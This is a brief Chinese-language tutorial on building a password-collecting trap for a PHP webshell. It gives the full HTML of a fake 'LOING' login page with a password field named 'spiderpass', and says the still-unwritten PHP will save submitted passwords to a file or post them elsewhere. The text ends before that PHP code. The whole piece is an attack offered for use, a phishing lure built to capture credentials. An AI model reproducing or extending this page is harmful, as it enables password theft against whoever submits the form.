php收集shell密码的小脚本
首先写个html外表,直接查看源文件保存下来即可
<html> <body style="background:#AAAAAA;"> <center> <form method="POST"> <div style="width:351px;height:201px;margin-top:100px;background:threedface;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;"> <div style="width:350px;height:22px;padding-top:2px;color:#FFFFFF;background:#293F5F;clear:both;"> <b>LOING</b> </div> <div style="width:350px;height:80px;margin-top:50px;color:#000000;clear:both;">PASS:<input type="password" name="spiderpass" style="width:270px;"></div> <div style="width:350px;height:30px;clear:both;"><input type="submit" value="LOGIN" style="width:80px;"></div> </div> </form> </center> </body> </html>
然后我们开始写php,主要的程序代码还是获取到提交指保存到指定文件,或者是然后再提交到某个文件